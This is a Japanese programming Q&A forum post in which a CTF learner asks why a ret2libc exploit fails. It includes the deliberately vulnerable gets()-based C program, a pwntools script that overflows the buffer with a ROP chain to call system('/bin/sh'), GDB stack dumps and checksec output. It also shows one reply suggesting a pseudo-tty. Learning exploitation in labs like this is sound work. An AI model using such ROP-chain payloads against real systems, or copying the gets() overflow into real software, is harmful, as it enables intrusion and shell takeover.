質問をすることでしか得られない、回答やアドバイスがある。

15分調べてもわからないことは、質問しよう!

新規登録して質問してみよう
ただいま回答率
86.12%
C

C言語は、1972年にAT&Tベル研究所の、デニス・リッチーが主体となって作成したプログラミング言語です。 B言語の後継言語として開発されたことからC言語と命名。そのため、表記法などはB言語やALGOLに近いとされています。 Cの拡張版であるC++言語とともに、現在世界中でもっとも普及されているプログラミング言語です。

GDB

GDBはGNUソフトウェアシステムのための標準的なデバッガーです。

Python

Pythonは、コードの読みやすさが特徴的なプログラミング言語の1つです。 強い型付け、動的型付けに対応しており、後方互換性がないバージョン2系とバージョン3系が使用されています。 商用製品の開発にも無料で使用でき、OSだけでなく仮想環境にも対応。Unicodeによる文字列操作をサポートしているため、日本語処理も標準で可能です。

受付中

ret2libcがどうしても成功しない問題についての質問

kohuku
kohuku

総合スコア21

C

C言語は、1972年にAT&Tベル研究所の、デニス・リッチーが主体となって作成したプログラミング言語です。 B言語の後継言語として開発されたことからC言語と命名。そのため、表記法などはB言語やALGOLに近いとされています。 Cの拡張版であるC++言語とともに、現在世界中でもっとも普及されているプログラミング言語です。

GDB

GDBはGNUソフトウェアシステムのための標準的なデバッガーです。

Python

Pythonは、コードの読みやすさが特徴的なプログラミング言語の1つです。 強い型付け、動的型付けに対応しており、後方互換性がないバージョン2系とバージョン3系が使用されています。 商用製品の開発にも無料で使用でき、OSだけでなく仮想環境にも対応。Unicodeによる文字列操作をサポートしているため、日本語処理も標準で可能です。

3回答

0リアクション

0クリップ

220閲覧

投稿2022/09/19 04:47

編集2022/09/19 07:07

前提

CTFを勉強中です。

以下のC言語で書かれたコードの実行ファイルに攻撃してシェルを奪いたいです。

しかし、うまくいかず、何が間違っているのかもわからないため、私の攻撃ソースコードの何が間違っているのかを教えてください。

どうかお願いいたします。

#include <stdio.h> int main(){ char buf[10]; printf("buf : %p\n",buf); gets(buf); return 0; }

実現したいこと

$python3 exploit.py [+] Starting local process './a.out': pid 30487 b'buf : 0x7fffffffdee6\n' [*] Switching to interactive mode $ ls a.c a.out exploit.py $

このような出力を得たい。

発生している問題・エラーメッセージ

実際は以下のような出力になり、実行直後にinteractive modeは終了している。

$python3 exploit.py [+] Starting local process './a.out': pid 31577 b'buf : 0x7fffffffdee6\n' [*] Switching to interactive mode [*] Got EOF while reading in interactive $ [*] Process './a.out' stopped with exit code 2 (pid 31577) [*] Got EOF while sending in interactive Traceback (most recent call last): File "e.py", line 16, in <module> with process(bin_name) as tubu:solv(tubu) File "/home/kohuku/.local/lib/python3.8/site-packages/pwnlib/tubes/tube.py", line 1290, in __exit__ self.close() File "/home/kohuku/.local/lib/python3.8/site-packages/pwnlib/tubes/process.py", line 746, in close fd.close() BrokenPipeError: [Errno 32] Broken pipe

攻撃プログラム

今回失敗した攻撃プログラムは以下の通り

python3

from pwn import * bin_name="./a.out" context.arch='amd64' def solv(p): s=b"/bin/sh"+pack(0x00)+b'A'*3 #systemの引数を入力、mainのretまでAで埋める s=s+pack(0x40101a) #スタックアラインメントを調整するためのropgadget(ret) s=s+pack(0x7ffff7e1e290) #<_libc_system>のアドレス s=s+pack(0x7ffff7e12a40) #<_libc_system>のリターンアドレス。今回は<_GI_exit> s=s+pack(0x7fffffffdee6) #<_libc_system>の引数。bufのアドレス print(p.recvline()) #bufのアドレスを表示 p.sendline(s) p.interactive() with process(bin_name) as tubu:solv(tubu)

試したこと

各アドレスは間違っていないと思う。
mainのret直前のstackをGDBで確認した。

[-------------------------------------code-------------------------------------] 0x401186 <main+48>: call 0x401060 <gets@plt> 0x40118b <main+53>: mov eax,0x0 0x401190 <main+58>: leave => 0x401191 <main+59>: ret 0x401192: nop WORD PTR cs:[rax+rax*1+0x0] 0x40119c: nop DWORD PTR [rax+0x0] 0x4011a0 <__libc_csu_init>: endbr64 0x4011a4 <__libc_csu_init+4>: push r15 [------------------------------------stack-------------------------------------] 0000| 0x7fffffffde98 --> 0x40101a (<_init+26>: ret) 0008| 0x7fffffffdea0 --> 0x7ffff7e1e290 (<__libc_system>: endbr64) 0016| 0x7fffffffdea8 --> 0x7ffff7e12a40 (<__GI_exit>: endbr64) 0024| 0x7fffffffdeb0 --> 0x7fffffffde86 --> 0x68732f6e69622f ('/bin/sh') 0032| 0x7fffffffdeb8 --> 0x401100 (<register_tm_clones+32>: add BYTE PTR [rax],al) 0040| 0x7fffffffdec0 --> 0x4011a0 (<__libc_csu_init>: endbr64) 0048| 0x7fffffffdec8 --> 0x25e74a72b6a58b10 0056| 0x7fffffffded0 --> 0x401070 (<_start>: endbr64) [------------------------------------------------------------------------------] Legend: code, data, rodata, value Breakpoint 1, 0x0000000000401191 in main () gdb-peda$

補足

ASLRは無効になっており、その他のセキュリティ機構は以下のようになっています。

$checksec --file=a.out Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)

以下のような質問にはリアクションをつけましょう

  • 質問内容が明確
  • 自分も答えを知りたい
  • 質問者以外のユーザにも役立つ

リアクションが多い質問は、TOPページの「注目」タブのフィードに表示されやすくなります。

気になる質問をクリップする

クリップした質問は、後からいつでもマイページで確認できます。

またクリップした質問に回答があった際、通知やメールを受け取ることができます。

下記のような質問は推奨されていません。

  • 間違っている
  • 質問になっていない投稿
  • スパムや攻撃的な表現を用いた投稿

適切な質問に修正を依頼しましょう。

melian

2022/09/19 06:31

stdin を pseudo tty に設定します。 with process(bin_name, stdin=PTY) as tubu:solv(tubu) これで Broken PIPE の問題は解決するかと思います。
kohuku

2022/09/19 07:09

回答ありがとうございます。 そのように変更すると単にinteractive modeは継続されました。 ただ、やはりシェルは動かないですね。

まだ回答がついていません

会員登録して回答してみよう

アカウントをお持ちの方は

15分調べてもわからないことは
teratailで質問しよう!

ただいまの回答率
86.12%

質問をまとめることで
思考を整理して素早く解決

テンプレート機能で
簡単に質問をまとめる

質問する

関連した質問

同じタグがついた質問を見る

C

C言語は、1972年にAT&Tベル研究所の、デニス・リッチーが主体となって作成したプログラミング言語です。 B言語の後継言語として開発されたことからC言語と命名。そのため、表記法などはB言語やALGOLに近いとされています。 Cの拡張版であるC++言語とともに、現在世界中でもっとも普及されているプログラミング言語です。

GDB

GDBはGNUソフトウェアシステムのための標準的なデバッガーです。

Python

Pythonは、コードの読みやすさが特徴的なプログラミング言語の1つです。 強い型付け、動的型付けに対応しており、後方互換性がないバージョン2系とバージョン3系が使用されています。 商用製品の開発にも無料で使用でき、OSだけでなく仮想環境にも対応。Unicodeによる文字列操作をサポートしているため、日本語処理も標準で可能です。